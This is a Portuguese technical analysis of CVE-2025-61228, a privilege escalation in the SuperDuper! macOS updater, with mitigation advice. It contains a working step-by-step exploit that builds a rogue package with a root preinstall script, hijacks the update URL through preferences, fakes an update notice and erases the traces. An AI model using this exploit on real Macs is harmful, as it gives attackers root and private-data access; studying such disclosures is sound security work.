graypixel2121/cve-2025-61228Análise técnica e exploit de prova de conceito para CVE-2025-61228, uma vulnerabilidade de escalonamento de privilégios no mecanismo de atualização automática do SuperDuper!, com detalhamento do vetor de ataque e orientações de mitigação.
Este problema parece ser pior do que o desenvolvedor sugere, então não quero que esta parte se perca. O desenvolvedor observou em seu blog:
Isso só pode acontecer se um programa em execução no seu sistema estiver procurando pelo SuperDuper para realizar uma atualização, uma atualização real for apresentada por meios legítimos e você clicar em Atualizar.
Isso não é realmente verdade. Explorar esta vulnerabilidade não requer que uma atualização real seja apresentada por meios legítimos. Nunca, jamais aceite uma atualização fornecida pelo SuperDuper 3.10 e versões anteriores! Explico isso com mais detalhes abaixo.
Também é importante entender que esta vulnerabilidade não se limita à escalada de privilégios, mas também envolve uma subversão dos controles de privacidade. Esse detalhe parece ter sido omitido da postagem no blog do desenvolvedor.
Do blog do desenvolvedor:
Nosso mecanismo de atualização automática pode ser sequestrado e convencido a instalar um pacote que não é o SuperDuper.
Embora tenhamos assinado e notarizado nosso pacote de instalador, o Gatekeeper não está verificando essa notarização quando instalado pelo instalador de pacotes do macOS. Como resultado, o download poderia ser alterado, e nós instalaríamos isso em seu lugar. Como a instalação é feita com privilégios elevados, isso poderia permitir que o programa de um terceiro malicioso, que você também teria que instalar, obtenha acesso de administrador ao seu sistema.
Do CVE:
Um problema no Shirt Pocket SuperDuper! V.3.10 e anteriores permite que um invasor local execute código arbitrário através do mecanismo de atualização de software
Este autor não é o descobridor da vulnerabilidade, que é identificado pelo desenvolvedor do SuperDuper como "pesquisador de segurança anônimo". Não reivindico crédito por descobrir esta vulnerabilidade, apenas me interessei em fazer uma análise técnica dela.
Pontuação CVSS 3.1: 7.8 Alta (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Para evitar esta vulnerabilidade, exclua o aplicativo SuperDuper! ou aplique a atualização 3.11.
Aviso: Você deve baixar a atualização diretamente do site do desenvolvedor para evitar esta vulnerabilidade.
Esta análise de exploit e prova de conceito é fornecida apenas para fins educacionais. Use por sua conta e risco.
Em vez de implementar uma solução de atualização de software de código aberto que foi testada por centenas de desenvolvedores e profissionais de segurança, os desenvolvedores do SuperDuper criaram seu próprio mecanismo de atualização de software construído sobre scripts shell inseguros que são executados com privilégios de root e têm acesso total ao disco. Ao não autenticar o software que está sendo instalado durante a atualização, o SuperDuper é enganado para instalar o software de um invasor. A correção do desenvolvedor aborda apenas o aspecto de autenticação desta vulnerabilidade, ela não aborda as vulnerabilidades inerentes que resultam do uso de scripts shell para facilitar o processo de atualização.
O comentário do desenvolvedor de que "o Gatekeeper não está verificando a notarização" é enganoso. O Gatekeeper entra em ação quando você tenta abrir algo que foi baixado em um navegador, mas isso não é aplicável no mecanismo interno de atualização de software de um aplicativo. É 100% responsabilidade do desenvolvedor validar qualquer coisa que seu software baixe e instale no seu computador – não deixe este desenvolvedor te enganar fazendo você acreditar que isso é uma falha do Gatekeeper. Indo ao coração do exploit, um invasor pode enganar o SuperDuper para instalar um pacote alternativo, e isso acontece com privilégios elevados. Presumivelmente, também seria executado com acesso total ao disco, porque o SuperDuper exige acesso total ao disco para fazer qualquer coisa.
O blog do desenvolvedor também afirma:
Isso só pode acontecer se um programa em execução no seu sistema estiver procurando pelo SuperDuper para realizar uma atualização, uma atualização real for apresentada por meios legítimos e você clicar em Atualizar.
Com esse comentário, assumi que provavelmente não seria possível reproduzir este exploit porque envolveria alterações no lado do servidor no mecanismo de atualização que teriam sido feitas juntamente com a postagem do patch 3.11. Em outras palavras, para impedir que versões mais antigas do software sejam afetadas por esta vulnerabilidade, certamente eles desabilitaram o mecanismo de atualização, certo? Bem... baixei uma versão mais antiga do SuperDuper e, quando a abri, fui imediatamente recebido com uma notificação de atualização† – a um clique de um exploit potencial. Achei isso muito intrigante – como alguém que usa uma versão mais antiga do aplicativo será protegido desta vulnerabilidade se o mecanismo de atualização automática não estiver desabilitado? (isso está relacionado ao "alerta" que mencionei no início deste artigo, voltarei a esta pergunta no final)
† Mais ou menos... O resultado foi muito estranho. Não havia descrição da atualização nem aviso de segurança, a janela estava apenas em branco com um botão Pular e Atualizar. Portanto, os usuários mais antigos não estão apenas desprotegidos do exploit por terem o mecanismo de atualização desabilitado, mas também não são informados do problema através do mecanismo de atualização.
Avancei. Quando você aplica a atualização, os mecanismos internos são registrados de forma útil no log do SuperDuper, então começaremos por aí para ver como funciona:
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
Muitos aplicativos Mac que vivem fora da Mac App Store usam o framework Sparkle de código aberto para gerenciar atualizações de software de forma segura. Não o SuperDuper. Podemos ver aqui que eles criaram o seu próprio, e este é um ótimo exemplo de por que isso é muitas vezes uma má escolha. Mecanismos de atualização de software são alvos principais para exploits, então exigem muito tempo e expertise para mantê-los seguros. "UpgradeTranscript.plist" é uma referência a um arquivo dentro do aplicativo SuperDuper que descreve uma série de comandos do Terminal que o SuperDuper usa para baixar e aplicar a atualização:
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
Vejo pelo menos quatro problemas com esses comandos e procedimento:
Instaladores de pacotes podem executar scripts shell, então vou assumir que este é o vetor de ataque preferido para o pacote de instalador alternativo. Vamos começar construindo um pacote que execute um script de pré-instalação e depois ver como interrompê-lo no mecanismo de atualização.
# Use of the "/tmp/superduper_install" installation folder offers convenient cleanup by SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# create the script. /Library is only writable by root, so we will attempt to create a test file there.
# Getting the content of the Desktop folder requires a user-granted privacy privilege, so we will also attempt
# to pull that folder list into a text file on the desktop to see if we have full disk access. Note that to
# effectively test this part of the exploit, you should revoke Full Disk Access from Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# build the package
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# put the package in a tar archive
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
Breve parêntese para ver que tipo de acesso este exploit dá ao invasor – se você executar o script shell (assumindo que o Terminal não tenha Acesso Total ao Disco ou acesso a "Arquivos e Pastas") manualmente, obterá dois erros:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
Um invasor pode causar muitos danos com acesso root, mas com acesso de privacidade também, pode acessar uma gama mais ampla de conteúdo dentro da sua pasta pessoal (Desktop pode parecer trivial, mas muitos dados privados são armazenados na pasta Library oculta). Este exploit dá ambos a ele.
OK, construir o pacote foi a parte fácil. Como invadimos o mecanismo de atualização? Explorar a condição de corrida era um candidato óbvio, mas me perguntei se seria possível intervir nesta parte do procedimento:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
As variáveis de host e URL de download obviamente vêm de fora do script. Elas podem ser manipuladas? Aplicativos que usam o mecanismo de atualização de software Sparkle frequentemente armazenam uma URL de "verificação de atualização de software" no CFPreferences, então me perguntei se o SuperDuper faria o mesmo. Com certeza, mas pior – em vez de armazenar apenas uma URL para verificar atualizações, o SuperDuper coloca a URL real de download no CFPreferences:
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
Tentei substituir a URL por uma URL do sistema de arquivos local:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Reabri o SuperDuper e cliquei em Atualizar, mas a atualização prosseguiu instalando a atualização do desenvolvedor, não meu pacote alternativo. Claro – quando o SuperDuper viu a atualização novamente na inicialização, ele reescreveu o valor do defaults. Tentei novamente definindo o valor depois que o SuperDuper apresentou a atualização, desta vez funcionou! Bem, a instalação da atualização realmente falhou, mas o ataque funcionou – o arquivo /Library/test foi criado.
Deletei o arquivo de teste e repeti o teste para verificar se realmente estava funcionando. Também confirmei que o arquivo private_data na Desktop agora tinha a listagem da pasta Desktop – o script foi executado com Acesso Total ao Disco.
Poderia ter parado aqui, mas o log de erros mostrou que a instalação falhou porque o SuperDuper não pôde ser encontrado:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
Revisitando a lógica dos scripts shell do UpgradeTranscript.plist, percebi que o instalador poderia realmente ter sucesso se eu apenas copiasse o aplicativo SuperDuper para o pacote alternativo (o ditto está cuspindo esse erro porque /tmp/superduper_install/SuperDuper!.app não existe). Isso acabou sendo mais difícil do que deveria, o SuperDuper estava sempre travando durante a instalação. Foi muito mais fácil fazer com que o script de pré-instalação copiasse o aplicativo para o local esperado em tempo de execução:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Open SuperDuper for the update presentation]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Agora o SuperDuper instalou o pacote falso e pareceu instalá-lo com sucesso. O SuperDuper reiniciou e apresentou a atualização novamente, o que é esperado porque acabou de reinstalar a cópia da versão antiga que fizemos na pasta tmp. A falta de uma mensagem de erro é provavelmente suficiente para enganar o usuário médio, fazendo-o acreditar que não há nada realmente errado, e eles simplesmente clicarão no botão Atualizar novamente, desta vez instalando o pacote real do site do desenvolvedor. Enquanto isso, o exploit já foi ativado e o usuário apenas dá de ombros: "puxa, isso foi um pouco estranho, mas está funcionando agora."
Ainda há um problema logístico aqui que tornaria este ataque difícil de executar: o invasor teria que executar aquele comando "defaults" depois que a atualização for apresentada ao usuário e antes que o usuário clique no botão Atualizar. Certamente é possível, você poderia simplesmente executar aquele comando "defaults write" em repetição infinita em segundo plano, mas isso chamaria atenção. No início, pensei que poderia bloquear o arquivo de preferências para contornar isso:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[wait for SD update presentation, then the user can go ahead and apply it without any extra steps]
Mas isso não funcionou. Pensando em como as preferências funcionam, isso fez sentido. Os aplicativos não abrem esses arquivos e leem os valores toda vez que precisam buscar uma configuração; em vez disso, pedem o valor à interface "CFPreferences". Se o SuperDuper alterar o valor de UMdownloadURL, o CFPreferences manterá a alteração na memória, mesmo que o arquivo físico permaneça inalterado. Quando o SuperDuper depois pedir o valor dessa configuração, o CFPreferences o obterá do cache (e o cache é atualizado se forem feitas alterações nos arquivos físicos).
Neste ponto, algo realmente me incomodava – por que o desenvolvedor se daria ao trabalho de escrever a URL de download no CFPreferences? Certamente você só escreveria esses valores no CFPreferences se também planejasse lê-los do CFPreferences, certo? Mas por que não armazenar o valor em uma variável na memória em algum lugar? Existem dois grandes problemas em usar CFPreferences dessa maneira que todo desenvolvedor Mac experiente deveria saber:
Para testar minha teoria, escrevi a preferência no domínio "currentHost", que se sobrepõe ao domínio do aplicativo:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Então reiniciei o SuperDuper e cliquei em Atualizar – o pacote alternativo foi instalado. Impressionante. Isso torna o exploit muito mais fácil de executar; um invasor poderia simplesmente definir essa preferência e esperar indefinidamente por uma atualização ser publicada. Mas espere, se o SuperDuper busca o valor da URL de download das preferências, talvez também busque o número da versão? Um invasor poderia induzir uma atualização e enganar o SuperDuper para apresentá-la, mesmo que o desenvolvedor não tenha publicado uma? Incrível, sim! Juntando tudo, um invasor poderia executar estes comandos para fazer uma versão antiga (não corrigida) do SuperDuper! apresentar uma atualização falsa, instalar um pacote alternativo, enquanto o SuperDuper remove todos os vestígios do ataque:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
Quando o SuperDuper recarregar após instalar o pacote alternativo, a atualização não será mais apresentada e o usuário continuará achando que instalou a nova versão, sem saber que o exploit foi ativado.
Voltando ao início deste artigo, me perguntei: "como alguém que usa uma versão mais antiga do aplicativo será protegido desta vulnerabilidade se o mecanismo de atualização automática não estiver desabilitado?" Acontece que não importa se o desenvolvedor desabilita o mecanismo de atualização automática – esta vulnerabilidade pode ser explorada sem (ou apesar de) quaisquer alterações no lado do servidor, e nem mesmo requer que o desenvolvedor publique uma atualização "real". A única mitigação é que os usuários sempre rejeitem uma atualização automática até que tenham atualizado manualmente para uma versão corrigida do produto.